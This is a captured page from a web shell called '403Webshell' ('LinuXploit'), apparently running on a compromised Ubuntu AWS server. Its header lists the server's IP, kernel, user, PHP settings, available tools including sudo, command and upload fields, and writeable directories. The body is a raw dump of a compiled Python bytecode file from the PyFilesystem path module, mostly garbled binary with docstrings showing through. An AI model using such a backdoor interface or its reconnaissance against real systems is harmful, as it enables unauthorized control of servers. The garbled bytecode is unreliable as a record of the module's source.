403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/fs/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/fs/__pycache__/path.cpython-312.pyc
�

��obc4��F�dZddlmZmZddlZddlZddlmZejr
ddlm	Z	m
Z
mZgd�Zejdej�jZd	�Zd
�Zdd�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z d�Z!d�Z"d�Z#d�Z$e%d�Z&d�Z'y) aAUseful functions for working with PyFilesystem paths.

This is broadly similar to the standard `os.path` module but works
with paths in the canonical format expected by all FS objects (that is,
separated by forward slashes and with an optional leading slash).

See :ref:`paths` for an explanation of PyFilesystem paths.

�)�print_function�unicode_literalsN�)�IllegalBackReference)�List�Text�Tuple)�abspath�basename�combine�dirname�forcedir�frombase�isabs�isbase�	isdotfile�isparent�	issamedir�
iswildcard�iteratepath�join�normpath�parts�recursepath�relativefrom�relpath�split�splitextz(^|/)\.\.?($|/)|//c�T�|dvr|St|�s|jd�S|jd�rdnd}g}	|jd�D].}|dvr|dk(s�
|j	��|j|��0	|dj|�zS#t$rt|��wxYw)aNormalize a path.

    This function simplifies a path by collapsing back-references
    and removing duplicated separators.

    Arguments:
        path (str): Path to normalize.

    Returns:
        str: A valid FS path.

    Example:
        >>> normpath("/foo//bar/frob/../baz")
        '/foo/bar/baz'
        >>> normpath("foo/../../bar")
        Traceback (most recent call last):
            ...
        fs.errors.IllegalBackReference: path 'foo/../../bar' contains back-references outside of filesystem

    �/��..)	�_requires_normalization�rstrip�
startswithr�pop�append�
IndexErrorrr)�path�prefix�
components�	components    �)/usr/lib/python3/dist-packages/fs/path.pyrr2s���,�s�{���#�4�(��{�{�3����O�O�C�(�S�b�F��J�	)����C��	-�I��D� ���$��N�N�$��!�!�)�,�	-��C�H�H�Z�(�(�(���)�"�4�(�(�)�s�B�$B�B'c�T�tt|��}|sgS|jd�S)z�Iterate over the individual components of a path.

    Arguments:
        path (str): Path to iterate over.

    Returns:
        list: A list of path components.

    Example:
        >>> iteratepath('/foo/bar/baz')
        ['foo', 'bar', 'baz']

    r )rrr�r)s r-rr^s(���8�D�>�"�D���	��:�:�c�?��c���|dvrdgStt|��dz}dg}|j}|j}d}t	|�}||kr|d|�}||d|�|dz
}||kr�|r|ddd�S|S)aNGet intermediate paths from the root to the given path.

    Arguments:
        path (str): A PyFilesystem path
        reverse (bool): Reverses the order of the paths
            (default `False`).

    Returns:
        list: A list of paths.

    Example:
        >>> recursepath('a/b/c')
        ['/', '/a', '/a/b', '/a/b/c']

    r rN���)r
r�findr'�len)r)�reverse�pathsr3r'�pos�len_paths       r-rrss���"�s�{��u���8�D�>�"�S�(�D�
�E�E��9�9�D�
�\�\�F�
�C��4�y�H�

��.��3��n���t�D�S�z���q�����.�
��T�r�T�{���Lr0c�$�|jd�S)z�Check if a path is an absolute path.

    Arguments:
        path (str): A PyFilesytem path.

    Returns:
        bool: `True` if the path is absolute (starts with a ``'/'``).

    r �r%r/s r-rr�s���?�?�3��r0c�2�|jd�sd|zS|S)a/Convert the given path to an absolute path.

    Since FS objects have no concept of a *current directory*, this
    simply adds a leading ``/`` character if the path doesn't already
    have one.

    Arguments:
        path (str): A PyFilesytem path.

    Returns:
        str: An absolute path.

    r r:r/s r-r
r
�s���?�?�3���T�z���Kr0c�$�|jd�S)a1Convert the given path to a relative path.

    This is the inverse of `abspath`, stripping a leading ``'/'`` from
    the path if it is present.

    Arguments:
        path (str): A path to adjust.

    Returns:
        str: A relative path.

    Example:
        >>> relpath('/a/b')
        'a/b'

    r )�lstripr/s r-rr�s��$�;�;�s��r0c��d}g}|D]%}|s�|ddk(r|dd�=d}|j|��'tdj|��}|rt|�}|S)a]Join any number of paths together.

    Arguments:
        *paths (str): Paths to join, given as positional arguments.

    Returns:
        str: The joined path.

    Example:
        >>> join('foo', 'bar', 'baz')
        'foo/bar/baz'
        >>> join('foo/bar', '../baz')
        'foo/baz'
        >>> join('foo/bar', '/baz')
        '/baz'

    Frr NT)r'rrr
)r6�absolute�relpaths�pr)s     r-rr�si��&�H��H�
������t�s�{��Q�K����O�O�A����C�H�H�X�&�'�D���t�}���Kr0c��|s|j�Sdj|jd�|jd��S)a�Join two paths together.

    This is faster than :func:`~fs.path.join`, but only works when the
    second path is relative, and there are no back references in either
    path.

    Arguments:
        path1 (str): A PyFilesytem path.
        path2 (str): A PyFilesytem path.

    Returns:
        str: The joint path.

    Example:
        >>> combine("foo/bar", "baz")
        'foo/bar/baz'

    z{}/{}r )r=�formatr$��path1�path2s  r-rr�s6��(��|�|�~���>�>�%�,�,�s�+�U�\�\�#�->�?�?r0c��t|�}|jd�}|jd�rdndg}|r||jd�z
}|S)z�Split a path in to its component parts.

    Arguments:
        path (str): Path to split in to parts.

    Returns:
        list: List of components

    Example:
        >>> parts('/foo/bar/baz')
        ['/', 'foo', 'bar', 'baz']

    r z./)r�stripr%r)r)�_pathr+�_partss    r-rrsO��
�T�N�E����S�!�J��%�%�c�*�c��
5�F���*�"�"�3�'�'���Mr0c�R�d|vrd|fS|jdd�}|dxsd|dfS)aSplit a path into (head, tail) pair.

    This function splits a path into a pair (head, tail) where 'tail' is
    the last pathname component and 'head' is all preceding components.

    Arguments:
        path (str): Path to split

    Returns:
        (str, str): a tuple containing the head and the tail of the path.

    Example:
        >>> split("foo/bar")
        ('foo', 'bar')
        >>> split("foo/bar/baz")
        ('foo/bar', 'baz')
        >>> split("/foo/bar/baz")
        ('/foo/bar', 'baz')

    r r!rr)�rsplit)r)rs  r-rr$s<��,�$���D�z���K�K��Q��E��!�H�O��U�1�X�&�&r0c���t|�\}}|jd�r|jd�dk(r|dfSd|vr|dfS|jdd�\}}t	||�}|d|zfS)a~Split the extension from the path.

    Arguments:
        path (str): A path to split.

    Returns:
        (str, str): A tuple containing the path and the extension.

    Example:
        >>> splitext('baz.txt')
        ('baz', '.txt')
        >>> splitext('foo/bar/baz.txt')
        ('foo/bar/baz', '.txt')
        >>> splitext('foo/bar/.foo')
        ('foo/bar/.foo', '')

    �.rr!)rr%�countrLr)r)�parent_path�pathname�exts    r-rr@sx��&"�$�K��K�����3��H�N�N�3�$7�1�$<��R�x��
�(���R�x���O�O�C��+�M�H�c���X�&�D���s��?�r0c�6�t|�jd�S)aNDetect if a path references a dot file.

    Arguments:
        path (str): Path to check.

    Returns:
        bool: `True` if the resource name starts with a ``'.'``.

    Example:
        >>> isdotfile('.baz')
        True
        >>> isdotfile('foo/bar/.baz')
        True
        >>> isdotfile('foo/bar.baz')
        False

    rN)rr%r/s r-rr]s��&�D�>�$�$�S�)�)r0c��t|�dS)a�Return the parent directory of a path.

    This is always equivalent to the 'head' component of the value
    returned by ``split(path)``.

    Arguments:
        path (str): A PyFilesytem path.

    Returns:
        str: the parent directory of the given path.

    Example:
        >>> dirname('foo/bar/baz')
        'foo/bar'
        >>> dirname('/foo/bar')
        '/foo'
        >>> dirname('/foo')
        '/'

    r�rr/s r-r
r
s���,��;�q�>�r0c��t|�dS)a�Return the basename of the resource referenced by a path.

    This is always equivalent to the 'tail' component of the value
    returned by split(path).

    Arguments:
        path (str): A PyFilesytem path.

    Returns:
        str: the name of the resource at the given path.

    Example:
        >>> basename('foo/bar/baz')
        'baz'
        >>> basename('foo/bar')
        'bar'
        >>> basename('foo/bar/')
        ''

    rrUr/s r-rr�rVr0c�T�tt|��tt|��k(S)a�Check if two paths reference a resource in the same directory.

    Arguments:
        path1 (str): A PyFilesytem path.
        path2 (str): A PyFilesytem path.

    Returns:
        bool: `True` if the two resources are in the same directory.

    Example:
        >>> issamedir("foo/bar/baz.txt", "foo/bar/spam.txt")
        True
        >>> issamedir("foo/bar/baz/txt", "spam/eggs/spam.txt")
        False

    )r
rrDs  r-rr�s!��$�8�E�?�#�w�x���'?�?�?r0c�t�tt|��}tt|��}|j|�S)a(Check if ``path1`` is a base of ``path2``.

    Arguments:
        path1 (str): A PyFilesytem path.
        path2 (str): A PyFilesytem path.

    Returns:
        bool: `True` if ``path2`` starts with ``path1``

    Example:
        >>> isbase('foo/bar', 'foo/bar/baz/egg.txt')
        True

    )rr
r%)rErF�_path1�_path2s    r-rr�s1�� �g�e�n�
%�F�
�g�e�n�
%�F����V�$�$r0c��|jd�}|jd�}|r#|ddk(r|j�|r	|ddk(r�t|�t|�kDryt||�D]\}}||k7s�yy)a�Check if ``path1`` is a parent directory of ``path2``.

    Arguments:
        path1 (str): A PyFilesytem path.
        path2 (str): A PyFilesytem path.

    Returns:
        bool: `True` if ``path1`` is a parent directory of ``path2``

    Example:
        >>> isparent("foo/bar", "foo/bar/spam.txt")
        True
        >>> isparent("foo/bar/", "foo/bar")
        True
        >>> isparent("foo/barry", "foo/baz/bar")
        False
        >>> isparent("foo/bar/baz/", "foo/baz/bar")
        False

    r r2r!FT)rr&r4�zip)rErF�bits1�bits2�bit1�bit2s      r-rr�s���,
�K�K���E��K�K���E�
�E�"�I��O�
�	�	���E�"�I��O�
�5�z�C��J����E�5�)����t��4�<���r0c�2�|jd�s|dzS|S)a]Ensure the path ends with a trailing forward slash.

    Arguments:
        path (str): A PyFilesytem path.

    Returns:
        str: The path, ending with a slash.

    Example:
        >>> forcedir("foo/bar")
        'foo/bar/'
        >>> forcedir("foo/bar/")
        'foo/bar/'
        >>> forcedir("foo/spam.txt")
        'foo/spam.txt/'

    r )�endswithr/s r-rr�s��&�=�=����c�z���Kr0c�L�t||�std��|t|�dS)a,Get the final path of ``path2`` that isn't in ``path1``.

    Arguments:
        path1 (str): A PyFilesytem path.
        path2 (str): A PyFilesytem path.

    Returns:
        str: the final part of ``path2``.

    Example:
        >>> frombase('foo/bar/', 'foo/bar/baz/egg')
        'baz/egg'

    zpath1 must be a prefix of path2N)r�
ValueErrorr4rDs  r-rr	s+�� �E�5�!��:�;�;���U����r0c���tt|��}tt|��}d}t||�D]\}}||k7rn|dz
}�djdgt	|�|z
z||dz�S)ajReturn a path relative from a given base path.

    Insert backrefs as appropriate to reach the path from the base.

    Arguments:
        base (str): Path to a directory.
        path (str): Path to make relative.

    Returns:
        str: the path to ``base`` from ``path``.

    >>> relativefrom("foo/bar", "baz/index.html")
    '../../baz/index.html'

    rrr r"N)�listrr]rr4)�baser)�
base_parts�
path_parts�common�component_a�component_bs       r-rrs���"�k�$�'�(�J��k�$�'�(�J�
�F�$'�
�J�$?�� ��[��+�%���!����
�8�8�T�F�c�*�o��6�7�*�V�W�:M�M�N�Nr0z*?[]!{}c�6�|�J�tj|�S)aCheck if a path ends with a wildcard.

    Arguments:
        path (str): A PyFilesystem path.

    Returns:
        bool: `True` if path ends with a wildcard.

    Example:
        >>> iswildcard('foo/bar/baz.*')
        True
        >>> iswildcard('foo/bar')
        False

    )�_WILD_CHARS�
isdisjointr/s r-rr>s$��"�����%�%�d�+�+�+r0)F)(�__doc__�
__future__rr�typing�re�errorsr�
TYPE_CHECKINGrrr	�__all__�compile�UNICODE�searchr#rrrrr
rrrrrrrr
rrrrrrr�	frozensetror�r0r-�<module>r}s����8�
�	�(�	���(�(���0%�"�*�*�%:�B�J�J�G�N�N��))�X�*#�L ��(�*�D@�2�0'�8�:*�,�2�2@�*%�*�D�0�*O�:�	�"��,r0

Youez - 2016 - github.com/yon3zu
LinuXploit